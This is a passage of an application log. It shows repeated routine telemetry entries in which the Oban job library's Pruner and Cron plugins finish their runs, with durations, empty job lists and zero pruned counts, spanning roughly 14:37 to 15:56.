{"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.704 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:37:19.345 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:49.347 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.705 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:38:19.348 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:49.350 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.706 [info] {"source":"oban","duration":326,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:39:19.352 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:49.353 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.707 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:40:19.354 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:49.355 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.708 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:41:19.356 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:49.357 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.709 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:42:19.359 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:49.360 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.710 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:43:19.361 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:49.362 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.711 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:44:19.363 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:49.364 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.712 [info] {"source":"oban","duration":146,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:45:19.365 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:49.366 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.713 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:46:19.367 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:49.369 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.714 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:47:19.370 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:49.372 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.715 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:48:19.374 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:49.375 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.716 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:49:19.376 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:49.377 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.718 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:50:19.378 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:49.379 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.718 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:51:19.381 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:49.382 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.719 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:52:19.383 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:49.384 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.720 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:53:19.385 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:49.386 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.721 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:54:19.387 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:49.388 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.722 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:55:19.389 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:49.390 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.723 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:56:19.391 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:49.392 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.724 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:57:19.393 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:49.394 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.725 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:58:19.396 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:49.398 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.726 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:59:19.398 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:49.400 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.727 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:00:19.401 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:49.402 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.728 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:01:19.403 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:49.404 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.729 [info] {"source":"oban","duration":294,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:02:19.405 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:49.406 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.730 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:03:19.407 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:49.408 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.731 [info] {"source":"oban","duration":74,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:04:19.409 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:49.410 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.732 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:05:19.411 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:49.412 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.733 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:06:19.413 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:49.414 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.734 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:07:19.415 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:49.416 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.735 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:08:19.417 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:49.418 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.736 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:09:19.419 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:49.421 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.737 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:10:19.422 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:49.423 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.738 [info] {"source":"oban","duration":280,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:11:19.425 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:49.426 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.740 [info] {"source":"oban","duration":282,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:12:19.428 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:49.429 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.740 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:13:19.430 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:49.431 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.741 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:14:19.432 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:49.433 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.743 [info] {"source":"oban","duration":334,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:15:19.434 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:49.435 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.743 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:16:19.436 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:49.437 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.744 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:17:19.438 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:49.439 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.745 [info] {"source":"oban","duration":147,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:18:19.441 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:49.442 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.746 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:19:19.443 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:49.444 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.747 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:20:19.446 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:49.448 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.748 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:21:19.450 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:49.451 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.749 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:22:19.452 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:49.454 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.750 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:23:19.455 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:49.456 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.751 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:24:19.457 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:49.458 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.752 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:25:19.459 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:49.460 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.754 [info] {"source":"oban","duration":290,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:26:19.461 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:49.462 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.754 [info] {"source":"oban","duration":272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:27:19.463 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:49.464 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.755 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:28:19.466 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:49.467 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.756 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:29:19.468 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:49.469 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.757 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:30:19.470 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:49.471 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.758 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:31:19.472 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:49.473 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.759 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:32:19.475 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:49.477 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.760 [info] {"source":"oban","duration":118,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:33:19.478 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:49.480 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.761 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:34:19.481 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:49.482 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.762 [info] {"source":"oban","duration":289,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:35:19.483 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:49.484 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.763 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:36:19.485 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:49.486 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.764 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:37:19.487 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:49.488 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.765 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:38:19.489 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:49.490 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.766 [info] {"source":"oban","duration":270,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:39:19.492 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:49.493 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.767 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:40:19.495 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:49.497 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.768 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:41:19.498 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:49.499 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.769 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:42:19.501 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:49.503 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.770 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:43:19.505 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:49.506 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.771 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:44:19.507 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:49.508 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.772 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:45:19.509 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:49.510 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.774 [info] {"source":"oban","duration":329,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:46:19.511 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:49.512 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.774 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:47:19.514 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:49.515 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.776 [info] {"source":"oban","duration":282,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:48:19.516 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:49.517 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.776 [info] {"source":"oban","duration":115,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:49:19.518 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:49.519 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.777 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:50:19.520 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:49.521 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.778 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:51:19.523 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:49.524 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.780 [info] {"source":"oban","duration":401,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:52:19.525 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:49.526 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.780 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:53:19.527 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:49.528 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.782 [info] {"source":"oban","duration":414,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:54:19.530 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:49.531 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.782 [info] {"source":"oban","duration":299,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:55:19.532 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:49.534 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.783 [info] {"source":"oban","duration":306,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:56:19.535 [info] 